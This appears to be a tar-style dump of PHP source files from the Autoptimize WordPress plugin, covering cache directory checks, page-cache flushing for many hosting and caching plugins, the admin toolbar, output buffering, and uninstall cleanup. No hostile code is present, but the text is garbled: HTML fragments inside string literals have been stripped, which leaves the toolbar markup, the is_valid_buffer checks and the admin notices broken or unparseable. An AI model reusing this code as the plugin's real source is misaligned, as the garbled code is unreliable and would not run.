redirect to fallback if possible. if ( $original_request !== $fallback_target && file_exists( $fallback_path ) ) { // redirect to fallback. wp_redirect( $fallback_target, 302 ); } else { // return HTTP 410 (gone) reponse. status_header( 410 ); } } } /** * Checks if cache dirs exist and create if not. * Returns false if not succesful. * * @return bool */ public static function check_and_create_dirs() { if ( ! defined( 'AUTOPTIMIZE_CACHE_DIR' ) ) { // We didn't set a cache. return false; } foreach ( array( '', 'js', 'css' ) as $dir ) { if ( ! self::check_cache_dir( AUTOPTIMIZE_CACHE_DIR . $dir ) ) { return false; } } return true; } /** * Ensures the specified `$dir` exists and is writeable. * Returns false if that's not the case. * * @param string $dir Directory to check/create. * * @return bool */ protected static function check_cache_dir( $dir ) { // Try creating the dir if it doesn't exist. if ( ! file_exists( $dir ) ) { @mkdir( $dir, 0775, true ); // @codingStandardsIgnoreLine if ( ! file_exists( $dir ) ) { return false; } } // If we still cannot write, bail. if ( ! is_writable( $dir ) ) { return false; } // Create an index.html in there to avoid prying eyes! $idx_file = rtrim( $dir, '/\\' ) . '/index.html'; if ( ! is_file( $idx_file ) ) { @file_put_contents( $idx_file, 'Generated by Autoptimize' ); // @codingStandardsIgnoreLine } return true; } /** * Flushes as many page cache plugin's caches as possible. * * @return void */ // @codingStandardsIgnoreStart public static function flushPageCache() { if ( function_exists( 'wp_cache_clear_cache' ) ) { if ( is_multisite() ) { $blog_id = get_current_blog_id(); wp_cache_clear_cache( $blog_id ); } else { wp_cache_clear_cache(); } } elseif ( has_action( 'cachify_flush_cache' ) ) { do_action( 'cachify_flush_cache' ); } elseif ( function_exists( 'w3tc_pgcache_flush' ) ) { w3tc_pgcache_flush(); } elseif ( function_exists( 'wp_fast_cache_bulk_delete_all' ) ) { wp_fast_cache_bulk_delete_all(); } elseif ( function_exists( 'rapidcache_clear_cache' ) ) { rapidcache_clear_cache(); } elseif ( class_exists( 'Swift_Performance_Cache' ) ) { Swift_Performance_Cache::clear_all_cache(); } elseif ( class_exists( 'WpFastestCache' ) ) { $wpfc = new WpFastestCache(); $wpfc->deleteCache(); } elseif ( class_exists( 'c_ws_plugin__qcache_purging_routines' ) ) { c_ws_plugin__qcache_purging_routines::purge_cache_dir(); // quick cache } elseif ( class_exists( 'zencache' ) ) { zencache::clear(); } elseif ( class_exists( 'comet_cache' ) ) { comet_cache::clear(); } elseif ( class_exists( 'WpeCommon' ) ) { // WPEngine cache purge/flush methods to call by default $wpe_methods = array( 'purge_varnish_cache', ); // More agressive clear/flush/purge behind a filter if ( apply_filters( 'autoptimize_flush_wpengine_aggressive', false ) ) { $wpe_methods = array_merge( $wpe_methods, array( 'purge_memcached', 'clear_maxcdn_cache' ) ); } // Filtering the entire list of WpeCommon methods to be called (for advanced usage + easier testing) $wpe_methods = apply_filters( 'autoptimize_flush_wpengine_methods', $wpe_methods ); foreach ( $wpe_methods as $wpe_method ) { if ( method_exists( 'WpeCommon', $wpe_method ) ) { WpeCommon::$wpe_method(); } } } elseif ( function_exists( 'sg_cachepress_purge_cache' ) ) { sg_cachepress_purge_cache(); } elseif ( array_key_exists( 'KINSTA_CACHE_ZONE', $_SERVER ) ) { $_kinsta_clear_cache_url = 'https://localhost/kinsta-clear-cache-all'; $_kinsta_response = wp_remote_get( $_kinsta_clear_cache_url, array( 'sslverify' => false, 'timeout' => 5, ) ); } elseif ( class_exists( 'RaidboxesNginxCacheFunctions' ) ) { $rb_cache_helper = new RaidboxesNginxCacheFunctions(); $rb_cache_helper->purge_cache(); } elseif ( defined('NGINX_HELPER_BASENAME') ) { do_action( 'rt_nginx_helper_purge_all' ); } elseif ( file_exists( WP_CONTENT_DIR . '/wp-cache-config.php' ) && function_exists( 'prune_super_cache' ) ) { // fallback for WP-Super-Cache global $cache_path; if ( is_multisite() ) { $blog_id = get_current_blog_id(); prune_super_cache( get_supercache_dir( $blog_id ), true ); prune_super_cache( $cache_path . 'blogs/', true ); } else { prune_super_cache( $cache_path . 'supercache/', true ); prune_super_cache( $cache_path, true ); } } elseif ( class_exists( 'NginxCache' ) ) { $nginx_cache = new NginxCache(); $nginx_cache->purge_zone_once(); } } // @codingStandardsIgnoreEnd } plugins/autoptimize-/classes/autoptimizeToolbar.php000064400000015633152335264760016744 0ustar00format_filesize( $bytes ); // Calculate the percentage of cache used. $percentage = ceil( $bytes / $max_size * 100 ); if ( $percentage > 100 ) { $percentage = 100; } /** * We define the type of color indicator for the current state of cache size: * - "green" if the size is less than 80% of the total recommended. * - "orange" if over 80%. * - "red" if over 100%. */ $color = ( 100 == $percentage ) ? 'red' : ( ( $percentage > 80 ) ? 'orange' : 'green' ); // Create or add new items into the Admin Toolbar. // Main "Autoptimize" node. $_my_name = apply_filters( 'autoptimize_filter_settings_is_pro', false ) ? esc_html__( 'Autoptimize Pro', 'autoptimize' ) : esc_html__( 'Autoptimize', 'autoptimize' ); $wp_admin_bar->add_node( array( 'id' => 'autoptimize', 'title' => '' . $_my_name . '', 'href' => admin_url( 'options-general.php?page=autoptimize' ), 'meta' => array( 'class' => 'bullet-' . $color ), ) ); // "Cache Info" node. $wp_admin_bar->add_node( array( 'id' => 'autoptimize-cache-info', 'title' => '

' . esc_html__( 'CSS/ JS Cache Info', 'autoptimize' ) . '

' . '
' . '
' . '
' . '
' . '
' . '
' . '
' . $percentage . '%
' . '
' . '' . '' . '' . '
' . esc_html__( 'Size', 'autoptimize' ) . ':' . $size . '
' . esc_html__( 'Files', 'autoptimize' ) . ':' . $files . '
', 'parent' => 'autoptimize', ) ); // "Delete Cache" node. $wp_admin_bar->add_node( array( 'id' => 'autoptimize-delete-cache', 'title' => esc_html__( 'Clear CSS/ JS Cache', 'autoptimize' ), 'parent' => 'autoptimize', ) ); } public function delete_cache() { check_ajax_referer( 'ao_delcache_nonce', 'nonce' ); $result = false; if ( current_user_can( 'manage_options' ) ) { // We call the function for cleaning the Autoptimize cache. $result = autoptimizeCache::clearall(); } wp_send_json( $result ); } public function enqueue_scripts() { // Autoptimize Toolbar Styles. wp_enqueue_style( 'autoptimize-toolbar', plugins_url( '/static/toolbar.min.css', __FILE__ ), array(), AUTOPTIMIZE_PLUGIN_VERSION, 'all' ); // Autoptimize Toolbar Javascript. wp_enqueue_script( 'autoptimize-toolbar', plugins_url( '/static/toolbar.min.js', __FILE__ ), array( 'jquery' ), AUTOPTIMIZE_PLUGIN_VERSION, true ); // Localizes a registered script with data for a JavaScript variable. // Needed for the AJAX to work properly on the frontend. wp_localize_script( 'autoptimize-toolbar', 'autoptimize_ajax_object', array( 'ajaxurl' => admin_url( 'admin-ajax.php' ), // translators: links to the Autoptimize settings page. 'error_msg' => sprintf( esc_html__( 'Your Autoptimize cache might not have been purged successfully, please check on the %1$sAutoptimize settings page%2$s.', 'autoptimize' ), '', '' ), 'dismiss_msg' => esc_html__( 'Dismiss this notice.' ), 'nonce' => wp_create_nonce( 'ao_delcache_nonce' ), ) ); } public function format_filesize( $bytes, $decimals = 2 ) { $units = array( 'B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB' ); for ( $i = 0; ( $bytes / 1024) > 0.9; $i++, $bytes /= 1024 ) {} // @codingStandardsIgnoreLine return sprintf( "%1.{$decimals}f %s", round( $bytes, $decimals ), $units[ $i ] ); } } plugins/autoptimize-/classes/autoptimizeMain.php000064400000115112152335264760016217 0ustar00version = $version; $this->filepath = $filepath; } public function run() { $this->add_hooks(); // Runs cache size checker. $checker = new autoptimizeCacheChecker(); $checker->run(); } protected function add_hooks() { if ( ! defined( 'AUTOPTIMIZE_SETUP_INITHOOK' ) ) { define( 'AUTOPTIMIZE_SETUP_INITHOOK', 'plugins_loaded' ); } add_action( AUTOPTIMIZE_SETUP_INITHOOK, array( $this, 'setup' ) ); add_action( AUTOPTIMIZE_SETUP_INITHOOK, array( $this, 'hook_page_cache_purge' ) ); add_action( 'autoptimize_setup_done', array( $this, 'version_upgrades_check' ) ); add_action( 'autoptimize_setup_done', array( $this, 'check_cache_and_run' ) ); add_action( 'autoptimize_setup_done', array( $this, 'maybe_run_ao_compat' ), 10 ); add_action( 'autoptimize_setup_done', array( $this, 'maybe_run_ao_extra' ), 15 ); add_action( 'autoptimize_setup_done', array( $this, 'maybe_run_admin_only_trinkets' ), 20 ); add_action( 'autoptimize_setup_done', array( $this, 'maybe_run_criticalcss' ), 11 ); add_action( 'autoptimize_setup_done', array( $this, 'maybe_run_notfound_fallback' ), 10 ); add_action( 'init', array( $this, 'load_textdomain' ) ); if ( is_multisite() && is_admin() ) { // Only if multisite and if in admin we want to check if we need to save options on network level. add_action( 'init', 'autoptimizeOptionWrapper::check_multisite_on_saving_options' ); } // register uninstall & deactivation hooks. register_uninstall_hook( $this->filepath, 'autoptimizeMain::on_uninstall' ); register_deactivation_hook( $this->filepath, 'autoptimizeMain::on_deactivation' ); } public function load_textdomain() { load_plugin_textdomain( 'autoptimize' ); } public function setup() { // Do we gzip in php when caching or is the webserver doing it? define( 'AUTOPTIMIZE_CACHE_NOGZIP', (bool) autoptimizeOptionWrapper::get_option( 'autoptimize_cache_nogzip' ) ); // These can be overridden by specifying them in wp-config.php or such. if ( ! defined( 'AUTOPTIMIZE_WP_CONTENT_NAME' ) ) { define( 'AUTOPTIMIZE_WP_CONTENT_NAME', '/' . wp_basename( WP_CONTENT_DIR ) ); } if ( ! defined( 'AUTOPTIMIZE_CACHE_CHILD_DIR' ) ) { define( 'AUTOPTIMIZE_CACHE_CHILD_DIR', '/cache/autoptimize/' ); } if ( ! defined( 'AUTOPTIMIZE_CACHEFILE_PREFIX' ) ) { define( 'AUTOPTIMIZE_CACHEFILE_PREFIX', 'autoptimize_' ); } // Note: trailing slash is not optional! if ( ! defined( 'AUTOPTIMIZE_CACHE_DIR' ) ) { define( 'AUTOPTIMIZE_CACHE_DIR', autoptimizeCache::get_pathname() ); } define( 'WP_ROOT_DIR', substr( WP_CONTENT_DIR, 0, strlen( WP_CONTENT_DIR ) - strlen( AUTOPTIMIZE_WP_CONTENT_NAME ) ) ); if ( ! defined( 'AUTOPTIMIZE_WP_SITE_URL' ) ) { if ( function_exists( 'domain_mapping_siteurl' ) ) { define( 'AUTOPTIMIZE_WP_SITE_URL', domain_mapping_siteurl( get_current_blog_id() ) ); } else { define( 'AUTOPTIMIZE_WP_SITE_URL', site_url() ); } } if ( ! defined( 'AUTOPTIMIZE_WP_CONTENT_URL' ) ) { if ( function_exists( 'get_original_url' ) ) { define( 'AUTOPTIMIZE_WP_CONTENT_URL', str_replace( get_original_url( AUTOPTIMIZE_WP_SITE_URL ), AUTOPTIMIZE_WP_SITE_URL, content_url() ) ); } else { define( 'AUTOPTIMIZE_WP_CONTENT_URL', content_url() ); } } if ( ! defined( 'AUTOPTIMIZE_CACHE_URL' ) ) { if ( is_multisite() && apply_filters( 'autoptimize_separate_blog_caches', true ) ) { $blog_id = get_current_blog_id(); define( 'AUTOPTIMIZE_CACHE_URL', AUTOPTIMIZE_WP_CONTENT_URL . AUTOPTIMIZE_CACHE_CHILD_DIR . $blog_id . '/' ); } else { define( 'AUTOPTIMIZE_CACHE_URL', AUTOPTIMIZE_WP_CONTENT_URL . AUTOPTIMIZE_CACHE_CHILD_DIR ); } } if ( ! defined( 'AUTOPTIMIZE_WP_ROOT_URL' ) ) { define( 'AUTOPTIMIZE_WP_ROOT_URL', str_replace( AUTOPTIMIZE_WP_CONTENT_NAME, '', AUTOPTIMIZE_WP_CONTENT_URL ) ); } if ( ! defined( 'AUTOPTIMIZE_HASH' ) ) { define( 'AUTOPTIMIZE_HASH', wp_hash( AUTOPTIMIZE_CACHE_URL ) ); } if ( ! defined( 'AUTOPTIMIZE_SITE_DOMAIN' ) ) { define( 'AUTOPTIMIZE_SITE_DOMAIN', parse_url( AUTOPTIMIZE_WP_SITE_URL, PHP_URL_HOST ) ); } // Multibyte-capable string replacements are available with a filter. // Also requires 'mbstring' extension. $with_mbstring = apply_filters( 'autoptimize_filter_main_use_mbstring', false ); if ( $with_mbstring ) { autoptimizeUtils::mbstring_available( \extension_loaded( 'mbstring' ) ); } else { autoptimizeUtils::mbstring_available( false ); } do_action( 'autoptimize_setup_done' ); } /** * Checks if there's a need to upgrade/update options and whatnot, * in which case we might need to do stuff and flush the cache * to avoid old versions of aggregated files lingering around. */ public function version_upgrades_check() { autoptimizeVersionUpdatesHandler::check_installed_and_update( $this->version ); } public function check_cache_and_run() { if ( autoptimizeCache::cacheavail() ) { $conf = autoptimizeConfig::instance(); if ( $conf->get( 'autoptimize_html' ) || $conf->get( 'autoptimize_js' ) || $conf->get( 'autoptimize_css' ) || autoptimizeImages::imgopt_active() || autoptimizeImages::should_lazyload_wrapper() ) { if ( ! defined( 'AUTOPTIMIZE_NOBUFFER_OPTIMIZE' ) ) { // Hook into WordPress frontend. if ( defined( 'AUTOPTIMIZE_INIT_EARLIER' ) ) { add_action( 'init', array( $this, 'start_buffering' ), self::INIT_EARLIER_PRIORITY ); } else { if ( ! defined( 'AUTOPTIMIZE_HOOK_INTO' ) ) { define( 'AUTOPTIMIZE_HOOK_INTO', 'template_redirect' ); } add_action( constant( 'AUTOPTIMIZE_HOOK_INTO' ), array( $this, 'start_buffering' ), self::DEFAULT_HOOK_PRIORITY ); } } // And disable Jetpack's site accelerator if JS or CSS opt. are active. if ( class_exists( 'Jetpack' ) && apply_filters( 'autoptimize_filter_main_disable_jetpack_cdn', true ) && ( $conf->get( 'autoptimize_js' ) || $conf->get( 'autoptimize_css' ) || autoptimizeImages::imgopt_active() ) ) { add_filter( 'jetpack_force_disable_site_accelerator', '__return_true' ); // this does not seemt to work any more? if ( true === autoptimizeImages::imgopt_active() ) { // only disable photon if AO is optimizing images. add_filter( 'jetpack_photon_skip_for_url', '__return_true' ); } } // Add "no cache found" notice. add_action( 'admin_notices', 'autoptimizeMain::notice_nopagecache', 99 ); add_action( 'admin_notices', 'autoptimizeMain::notice_potential_conflict', 99 ); } } else { add_action( 'admin_notices', 'autoptimizeMain::notice_cache_unavailable' ); } } public function maybe_run_ao_extra() { if ( apply_filters( 'autoptimize_filter_extra_activate', true ) ) { $ao_imgopt = new autoptimizeImages(); $ao_imgopt->run(); $ao_extra = new autoptimizeExtra(); $ao_extra->run(); // And show the imgopt notice. add_action( 'admin_notices', 'autoptimizeMain::notice_plug_imgopt' ); add_action( 'admin_notices', 'autoptimizeMain::notice_imgopt_issue' ); } } public function maybe_run_admin_only_trinkets() { // Loads partners tab and exit survey code if in admin (and not in admin-ajax.php)! if ( autoptimizeConfig::is_admin_and_not_ajax() ) { new autoptimizePartners(); new autoptimizeExitSurvey(); new autoptimizeProTab(); } } public function criticalcss() { if ( apply_filters( 'autoptimize_filter_criticalcss_active', true ) && ! autoptimizeUtils::is_plugin_active( 'autoptimize-criticalcss/ao_criticss_aas.php' ) ) { return $this->_criticalcss; } else { return false; } } public function maybe_run_criticalcss() { // Loads criticalcss if the filter returns true & old power-up is not active. if ( apply_filters( 'autoptimize_filter_criticalcss_active', true ) && ! autoptimizeUtils::is_plugin_active( 'autoptimize-criticalcss/ao_criticss_aas.php' ) ) { $this->_criticalcss = new autoptimizeCriticalCSSBase(); $this->_criticalcss->setup(); $this->_criticalcss->load_requires(); } } public function maybe_run_notfound_fallback() { if ( autoptimizeCache::do_fallback() ) { add_action( 'template_redirect', array( 'autoptimizeCache', 'wordpress_notfound_fallback' ) ); } } public function maybe_run_ao_compat() { $conf = autoptimizeConfig::instance(); // Condtionally loads the compatibility-class to ensure more out-of-the-box compatibility with big players. $_run_compat = true; if ( 'on' === $conf->get( 'autoptimize_installed_before_compatibility' ) ) { // If AO was already running before Compatibility logic was added, don't run compat by default // because it can be assumed everything works and we want to avoid (perf) regressions that // could occur due to compatibility code. $_run_compat = false; } if ( apply_filters( 'autoptimize_filter_init_compatibility', $_run_compat ) ) { new autoptimizeCompatibility(); } } public function hook_page_cache_purge() { // hook into a collection of page cache purge actions if filter allows. if ( apply_filters( 'autoptimize_filter_main_hookpagecachepurge', true ) ) { $page_cache_purge_actions = array( 'after_rocket_clean_domain', // exists. 'hyper_cache_purged', // Stefano confirmed this will be added. 'w3tc_flush_posts', // exits. 'w3tc_flush_all', // exists. 'ce_action_cache_cleared', // Sven confirmed this will be added. 'aoce_action_cache_cleared', // Some other cache enabler. 'comet_cache_wipe_cache', // still to be confirmed by Raam. 'wp_cache_cleared', // cfr. https://github.com/Automattic/wp-super-cache/pull/537. 'wpfc_delete_cache', // Emre confirmed this will be added this. 'swift_performance_after_clear_all_cache', // swift perf. yeah! 'wpo_cache_flush', // wp-optimize. 'rt_nginx_helper_after_fastcgi_purge_all', // nginx helper. ); $page_cache_purge_actions = apply_filters( 'autoptimize_filter_main_pagecachepurgeactions', $page_cache_purge_actions ); foreach ( $page_cache_purge_actions as $purge_action ) { add_action( $purge_action, 'autoptimizeCache::clearall_actionless' ); } } } /** * Setup output buffering if needed. * * @return void */ public function start_buffering() { if ( $this->should_buffer() ) { // Load speedupper conditionally (true by default). if ( apply_filters( 'autoptimize_filter_speedupper', true ) ) { $ao_speedupper = new autoptimizeSpeedupper(); } $conf = autoptimizeConfig::instance(); if ( $conf->get( 'autoptimize_js' ) ) { if ( ! defined( 'CONCATENATE_SCRIPTS' ) ) { define( 'CONCATENATE_SCRIPTS', false ); } if ( ! defined( 'COMPRESS_SCRIPTS' ) ) { define( 'COMPRESS_SCRIPTS', false ); } } if ( $conf->get( 'autoptimize_css' ) ) { if ( ! defined( 'COMPRESS_CSS' ) ) { define( 'COMPRESS_CSS', false ); } } if ( apply_filters( 'autoptimize_filter_obkiller', false ) ) { while ( ob_get_level() > 0 ) { ob_end_clean(); } } // Now, start the real thing! ob_start( array( $this, 'end_buffering' ) ); } } /** * Returns true if all the conditions to start output buffering are satisfied. * * @param bool $doing_tests Allows overriding the optimization of only * deciding once per request (for use in tests). * @return bool */ public static function should_buffer( $doing_tests = false ) { static $do_buffering = null; // Only check once in case we're called multiple times by others but // still allows multiple calls when doing tests. if ( null === $do_buffering || $doing_tests ) { $ao_noptimize = false; // Checking for DONOTMINIFY constant as used by e.g. WooCommerce POS. if ( defined( 'DONOTMINIFY' ) && ( constant( 'DONOTMINIFY' ) === true || constant( 'DONOTMINIFY' ) === 'true' ) ) { $ao_noptimize = true; } // Skip checking query strings if they're disabled. if ( apply_filters( 'autoptimize_filter_honor_qs_noptimize', true ) ) { // Check for `ao_noptimize` (and other) keys in the query string // to get non-optimized page for debugging. $keys = array( 'ao_noptimize', 'ao_noptirocket', ); foreach ( $keys as $key ) { if ( array_key_exists( $key, $_GET ) && '1' === $_GET[ $key ] ) { $ao_noptimize = true; break; } } } // If setting says not to optimize logged in user and user is logged in... if ( false === $ao_noptimize && 'on' !== autoptimizeOptionWrapper::get_option( 'autoptimize_optimize_logged', 'on' ) && is_user_logged_in() && current_user_can( 'edit_posts' ) ) { $ao_noptimize = true; } // If setting says not to optimize cart/checkout. if ( false === $ao_noptimize && 'on' !== autoptimizeOptionWrapper::get_option( 'autoptimize_optimize_checkout', 'off' ) ) { // Checking for woocommerce, easy digital downloads and wp ecommerce... foreach ( array( 'is_checkout', 'is_cart', 'is_account_page', 'edd_is_checkout', 'wpsc_is_cart', 'wpsc_is_checkout' ) as $func ) { if ( function_exists( $func ) && $func() ) { $ao_noptimize = true; break; } } } // Misc. querystring paramaters that will stop AO from doing optimizations (pagebuilders + // 2 generic parameters that could/ should become standard between optimization plugins?). if ( false === $ao_noptimize ) { $_qs_showstoppers = array( 'no_cache', 'no_optimize', 'tve', 'elementor-preview', 'fl_builder', 'vc_action', 'et_fb', 'bt-beaverbuildertheme', 'ct_builder', 'fb-edit', 'siteorigin_panels_live_editor', 'preview', 'td_action' ); // doing Jonathan a quick favor to allow correct unused CSS generation ;-) . if ( apply_filters( 'autoptimize_filter_main_showstoppers_do_wp_rocket_a_favor', true ) ) { $_qs_showstoppers[] = 'nowprocket'; } foreach ( $_qs_showstoppers as $_showstopper ) { if ( array_key_exists( $_showstopper, $_GET ) ) { $ao_noptimize = true; break; } } } // Also honor PageSpeed=off parameter as used by mod_pagespeed, in use by some pagebuilders, // see https://www.modpagespeed.com/doc/experiment#ModPagespeed for info on that. if ( false === $ao_noptimize && array_key_exists( 'PageSpeed', $_GET ) && 'off' === $_GET['PageSpeed'] ) { $ao_noptimize = true; } // If page/ post check post_meta to see if optimize is off. if ( false === autoptimizeConfig::get_post_meta_ao_settings( 'ao_post_optimize' ) ) { $ao_noptimize = true; } // And finally allows blocking of autoptimization on your own terms regardless of above decisions. $ao_noptimize = (bool) apply_filters( 'autoptimize_filter_noptimize', $ao_noptimize ); // Check for site being previewed in the Customizer (available since WP 4.0). $is_customize_preview = false; if ( function_exists( 'is_customize_preview' ) && is_customize_preview() ) { $is_customize_preview = is_customize_preview(); } // explicitly disable when is_login exists and is true but don't use it direclty because older versions of WordPress don't have that yet. $is_login = false; if ( function_exists( 'is_login' ) && true === is_login() ) { $is_login = true; } /** * We only buffer the frontend requests (and then only if not a feed * and not turned off explicitly and not when being previewed in Customizer)! * NOTE: Tests throw a notice here due to is_feed() being called * while the main query hasn't been ran yet. Thats why we use * AUTOPTIMIZE_INIT_EARLIER in tests. */ $do_buffering = ( ! is_admin() && ! is_feed() && ! is_embed() && ! $is_login && ! $is_customize_preview && ! $ao_noptimize ); } return $do_buffering; } /** * Returns true if given markup is considered valid/processable/optimizable. * * @param string $content Markup. * * @return bool */ public function is_valid_buffer( $content ) { // Defaults to true. $valid = true; $has_no_html_tag = ( false === stripos( $content, '/i', ltrim( $content ) ) > 0 ); $has_noptimize_page = ( false !== stripos( $content, '' ) ); if ( $has_no_html_tag ) { // Can't be valid amp markup without an html tag preceding it. $is_amp_markup = false; } else { $is_amp_markup = self::is_amp_markup( $content ); } // If it's not html, or if it's amp or contains xsl stylesheets we don't touch it. if ( $has_no_html_tag && ! $has_html5_doctype || $is_amp_markup || $has_xsl_stylesheet || $has_noptimize_page ) { $valid = false; } return $valid; } /** * Returns true if given $content is considered to be AMP markup. * This is far from actual validation against AMP spec, but it'll do for now. * * @param string $content Markup to check. * * @return bool */ public static function is_amp_markup( $content ) { // Short-circuit if the page is already AMP from the start. if ( preg_match( sprintf( '#^(?:|\s+)*+]*?\s(%1$s|%2$s|%3$s)(\s|=|>)#is', 'amp', "\xE2\x9A\xA1", // From \AmpProject\Attribute::AMP_EMOJI. "\xE2\x9A\xA1\xEF\xB8\x8F" // From \AmpProject\Attribute::AMP_EMOJI_ALT, per https://github.com/ampproject/amphtml/issues/25990. ), $content ) ) { return true; } // Or else short-circuit if the AMP plugin will be processing the output to be an AMP page. if ( function_exists( 'amp_is_request' ) ) { return amp_is_request(); // For AMP plugin v2.0+. } elseif ( function_exists( 'is_amp_endpoint' ) ) { return is_amp_endpoint(); // For older/other AMP plugins (still supported in 2.0 as an alias). } return false; } /** * Processes/optimizes the output-buffered content and returns it. * If the content is not processable, it is returned unmodified. * * @param string $content Buffered content. * * @return string */ public function end_buffering( $content ) { // Bail early without modifying anything if we can't handle the content. if ( ! $this->is_valid_buffer( $content ) ) { return $content; } $conf = autoptimizeConfig::instance(); // Determine what needs to be ran. $classes = array(); if ( $conf->get( 'autoptimize_js' ) ) { $classes[] = 'autoptimizeScripts'; } if ( $conf->get( 'autoptimize_css' ) ) { $classes[] = 'autoptimizeStyles'; } if ( $conf->get( 'autoptimize_html' ) ) { $classes[] = 'autoptimizeHTML'; } $classoptions = array( 'autoptimizeScripts' => array( 'aggregate' => $conf->get( 'autoptimize_js_aggregate' ), 'defer_not_aggregate' => $conf->get( 'autoptimize_js_defer_not_aggregate' ), 'defer_inline' => $conf->get( 'autoptimize_js_defer_inline' ), 'justhead' => $conf->get( 'autoptimize_js_justhead' ), 'forcehead' => $conf->get( 'autoptimize_js_forcehead' ), 'trycatch' => $conf->get( 'autoptimize_js_trycatch' ), 'js_exclude' => $conf->get( 'autoptimize_js_exclude' ), 'cdn_url' => $conf->get( 'autoptimize_cdn_url' ), 'include_inline' => $conf->get( 'autoptimize_js_include_inline' ), 'minify_excluded' => $conf->get( 'autoptimize_minify_excluded' ), ), 'autoptimizeStyles' => array( 'aggregate' => $conf->get( 'autoptimize_css_aggregate' ), 'justhead' => $conf->get( 'autoptimize_css_justhead' ), 'datauris' => $conf->get( 'autoptimize_css_datauris' ), 'defer' => $conf->get( 'autoptimize_css_defer' ), 'defer_inline' => $conf->get( 'autoptimize_css_defer_inline' ), 'inline' => $conf->get( 'autoptimize_css_inline' ), 'css_exclude' => $conf->get( 'autoptimize_css_exclude' ), 'cdn_url' => $conf->get( 'autoptimize_cdn_url' ), 'include_inline' => $conf->get( 'autoptimize_css_include_inline' ), 'nogooglefont' => $conf->get( 'autoptimize_css_nogooglefont' ), 'minify_excluded' => $conf->get( 'autoptimize_minify_excluded' ), ), 'autoptimizeHTML' => array( 'keepcomments' => $conf->get( 'autoptimize_html_keepcomments' ), 'minify_inline' => $conf->get( 'autoptimize_html_minify_inline' ), ), ); $content = apply_filters( 'autoptimize_filter_html_before_minify', $content ); // Run the classes! foreach ( $classes as $name ) { $instance = new $name( $content ); if ( $instance->read( $classoptions[ $name ] ) ) { $instance->minify(); $instance->cache(); $content = $instance->getcontent(); } unset( $instance ); } $content = apply_filters( 'autoptimize_html_after_minify', $content ); return $content; } public static function autoptimize_nobuffer_optimize( $html_in ) { $html_out = $html_in; if ( apply_filters( 'autoptimize_filter_speedupper', true ) ) { $ao_speedupper = new autoptimizeSpeedupper(); } $self = new self( AUTOPTIMIZE_PLUGIN_VERSION, AUTOPTIMIZE_PLUGIN_FILE ); if ( $self->should_buffer() ) { $html_out = $self->end_buffering( $html_in ); } return $html_out; } public static function on_uninstall() { // clear the cache. autoptimizeCache::clearall(); // remove postmeta if active. if ( autoptimizeConfig::is_ao_meta_settings_active() ) { delete_post_meta_by_key( 'ao_post_optimize' ); } // remove all options. $delete_options = array( 'autoptimize_cache_clean', 'autoptimize_cache_nogzip', 'autoptimize_css', 'autoptimize_css_aggregate', 'autoptimize_css_datauris', 'autoptimize_css_justhead', 'autoptimize_css_defer', 'autoptimize_css_defer_inline', 'autoptimize_css_inline', 'autoptimize_css_exclude', 'autoptimize_html', 'autoptimize_html_keepcomments', 'autoptimize_html_minify_inline', 'autoptimize_enable_site_config', 'autoptimize_enable_meta_ao_settings', 'autoptimize_js', 'autoptimize_js_aggregate', 'autoptimize_js_defer_not_aggregate', 'autoptimize_js_defer_inline', 'autoptimize_js_exclude', 'autoptimize_js_forcehead', 'autoptimize_js_justhead', 'autoptimize_js_trycatch', 'autoptimize_version', 'autoptimize_show_adv', 'autoptimize_cdn_url', 'autoptimize_cachesize_notice', 'autoptimize_css_include_inline', 'autoptimize_js_include_inline', 'autoptimize_optimize_logged', 'autoptimize_optimize_checkout', 'autoptimize_extra_settings', 'autoptimize_service_availablity', 'autoptimize_imgopt_provider_stat', 'autoptimize_imgopt_launched', 'autoptimize_imgopt_settings', 'autoptimize_minify_excluded', 'autoptimize_cache_fallback', 'autoptimize_ccss_rules', 'autoptimize_ccss_additional', 'autoptimize_ccss_queue', 'autoptimize_ccss_viewport', 'autoptimize_ccss_finclude', 'autoptimize_ccss_rlimit', 'autoptimize_ccss_rtimelimit', 'autoptimize_ccss_noptimize', 'autoptimize_ccss_debug', 'autoptimize_ccss_key', 'autoptimize_ccss_keyst', 'autoptimize_ccss_version', 'autoptimize_ccss_loggedin', 'autoptimize_ccss_forcepath', 'autoptimize_ccss_deferjquery', 'autoptimize_ccss_domain', 'autoptimize_ccss_unloadccss', 'autoptimize_installed_before_compatibility', ); if ( ! is_multisite() ) { foreach ( $delete_options as $del_opt ) { delete_option( $del_opt ); } autoptimizeMain::remove_cronjobs(); } else { global $wpdb; $blog_ids = $wpdb->get_col( "SELECT blog_id FROM $wpdb->blogs" ); $original_blog_id = get_current_blog_id(); foreach ( $blog_ids as $blog_id ) { switch_to_blog( $blog_id ); foreach ( $delete_options as $del_opt ) { delete_option( $del_opt ); } autoptimizeMain::remove_cronjobs(); } switch_to_blog( $original_blog_id ); } // Remove AO CCSS cached files and directory. $ao_ccss_dir = WP_CONTENT_DIR . '/uploads/ao_ccss/'; if ( file_exists( $ao_ccss_dir ) && is_dir( $ao_ccss_dir ) && defined( 'GLOB_BRACE' ) ) { // fixme: should check for subdirs when in multisite and remove contents of those as well. // fixme: if GLOB_BRACE is not avaible we need to remove AO_CCSS_DIR differently? array_map( 'unlink', glob( $ao_ccss_dir . '*.{css,html,json,log,zip,lock}', GLOB_BRACE ) ); rmdir( $ao_ccss_dir ); } // Remove 404-handler (although that should have been removed in clearall already). $_fallback_php = trailingslashit( WP_CONTENT_DIR ) . 'autoptimize_404_handler.php'; if ( file_exists( $_fallback_php ) ) { unlink( $_fallback_php ); } } public static function on_deactivation() { if ( is_multisite() && is_network_admin() ) { global $wpdb; $blog_ids = $wpdb->get_col( "SELECT blog_id FROM $wpdb->blogs" ); $original_blog_id = get_current_blog_id(); foreach ( $blog_ids as $blog_id ) { switch_to_blog( $blog_id ); autoptimizeMain::remove_cronjobs(); } switch_to_blog( $original_blog_id ); } else { autoptimizeMain::remove_cronjobs(); } autoptimizeCache::clearall(); } public static function remove_cronjobs() { // Remove scheduled events. foreach ( array( 'ao_cachechecker', 'ao_ccss_queue', 'ao_ccss_maintenance', 'ao_ccss_keychecker' ) as $_event ) { if ( wp_get_schedule( $_event ) ) { wp_clear_scheduled_hook( $_event ); } } } public static function notice_cache_unavailable() { echo '

'; // Translators: %s is the cache directory location. printf( esc_html__( 'Autoptimize cannot write to the cache directory (%s), please fix to enable CSS/ JS optimization!', 'autoptimize' ), AUTOPTIMIZE_CACHE_DIR ); echo '

'; } public static function notice_installed() { echo ''; } public static function notice_updated() { echo '

